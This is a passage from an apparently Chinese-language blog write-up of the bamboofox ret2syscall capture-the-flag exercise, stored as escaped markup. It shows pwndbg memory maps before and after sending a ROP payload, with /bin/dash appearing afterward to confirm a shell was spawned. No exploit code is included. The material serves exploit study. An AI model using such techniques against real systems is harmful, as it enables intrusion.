    5.\u8c03\u8bd5\u8fc7\u7a0b<\/h4>\n

    \u8fd9\u91cc\u76f4\u63a5\u770b\u5bc4\u5b58\u5668\u91cc\u8fb9\u662f\u5426\u662f\u6211\u4eecsend\u8fdb\u7684\u503c（\u89e3\u91ca\u4e0d\u5bf9\u7684\u5730\u65b9\u8bf7\u5728\u8bc4\u8bba\u533a\u91cc\u6307\u51fa\u8bf4\u660e，\u4ee5\u4fbf\u8ba9\u5927\u5bb6\u4e00\u8d77\u5b66\u4e60\u8fdb\u6b65）<\/p>\n

    \u4ee5ebx\u5bc4\u5b58\u5668\u4e3a\u4f8b<\/p>\n

    \u53d1\u9001payload\u524d<\/p>\n

    pwndbg> vmmap $ebx
    \nLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    \n 0x8048000 0x80e9000 r-xp a1000 0 \/home\/Debug\/Desktop\/ret2syscall\/bamboofox-ret2syscall\/rop
    \n 0x80e9000 0x80eb000 rw-p 2000 a0000 \/home\/Debug\/Desktop\/ret2syscall\/bamboofox-ret2syscall\/rop
    \n 0x80eb000 0x80ed000 rw-p 2000 0
    \n 0x9bcb000 0x9bed000 rw-p 22000 0 [heap]
    \n0xf7faf000 0xf7fb0000 rw-p 1000 0
    \n0xf7fb0000 0xf7fb3000 r–p 3000 0 [vvar]
    \n0xf7fb3000 0xf7fb5000 r-xp 2000 0 [vdso]
    \n0xfff11000 0xfff32000 rw-p 21000 0 [stack]<\/p>\n

    \u53d1\u9001payload\u540e<\/p>\n

    pwndbg> vmmap $ebx
    \nLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    \n 0x558e53afc000 0x558e53b18000 r-xp 1c000 0 \/bin\/dash
    \n 0x558e53d17000 0x558e53d19000 r–p 2000 1b000 \/bin\/dash
    \n 0x558e53d19000 0x558e53d1a000 rw-p 1000 1d000 \/bin\/dash
    \n 0x558e53d1a000 0x558e53d1c000 rw-p 2000 0
    \n 0x558e54024000 0x558e54045000 rw-p 21000 0 [heap]
    \n 0x7fe9b2a58000 0x7fe9b2c3f000 r-xp 1e7000 0 \/lib\/x86_64-linux-gnu\/libc-2.27.so
    \n 0x7fe9b2c3f000 0x7fe9b2e3f000 —p 200000 1e7000 \/lib\/x86_64-linux-gnu\/libc-2.27.so
    \n 0x7fe9b2e3f000 0x7fe9b2e43000 r–p 4000 1e7000 \/lib\/x86_64-linux-gnu\/libc-2.27.so
    \n 0x7fe9b2e43000 0x7fe9b2e45000 rw-p 2000 1eb000 \/lib\/x86_64-linux-gnu\/libc-2.27.so
    \n 0x7fe9b2e45000 0x7fe9b2e49000 rw-p 4000 0
    \n 0x7fe9b2e49000 0x7fe9b2e72000 r-xp 29000 0 \/lib\/x86_64-linux-gnu\/ld-2.27.so
    \n 0x7fe9b3051000 0x7fe9b3053000 rw-p 2000 0
    \n 0x7fe9b3072000 0x7fe9b3073000 r–p 1000 29000 \/lib\/x86_64-linux-gnu\/ld-2.27.so
    \n 0x7fe9b3073000 0x7fe9b3074000 rw-p 1000 2a000 \/lib\/x86_64-linux-gnu\/ld-2.27.so
    \n 0x7fe9b3074000 0x7fe9b3075000 rw-p 1000 0
    \n 0x7ffded60b000 0x7ffded62c000 rw-p 21000 0 [stack]
    \n 0x7ffded728000 0x7ffded72b000 r–p 3000 0 [vvar]
    \n 0x7ffded72b000 0x7ffded72d000 r-xp 2000 0 [vdso]
    \n0xffffffffff600000 0xffffffffff601000 –xp 1000 0 [vsyscall]<\/p>\n

    \u7531\u4e8e\u672c\u4eba\u8c03\u8bd5\u80fd\u529b\u5c1a\u5f31，\u56e0\u6b64\u8fd9\u91cc\u6211\u53ea\u8bd5\u51fa\u6765ebx\u91cc\u503c\u7684\u53d8\u5316，\u6b22\u8fce\u5404\u4f4d\u5e08\u5085\u4eec\u5728\u8bc4\u8bba\u533a\u91cc\u8865\u5145<\/p>\n<\/p>\n

    \n","protected":false},"excerpt":{"rendered":"

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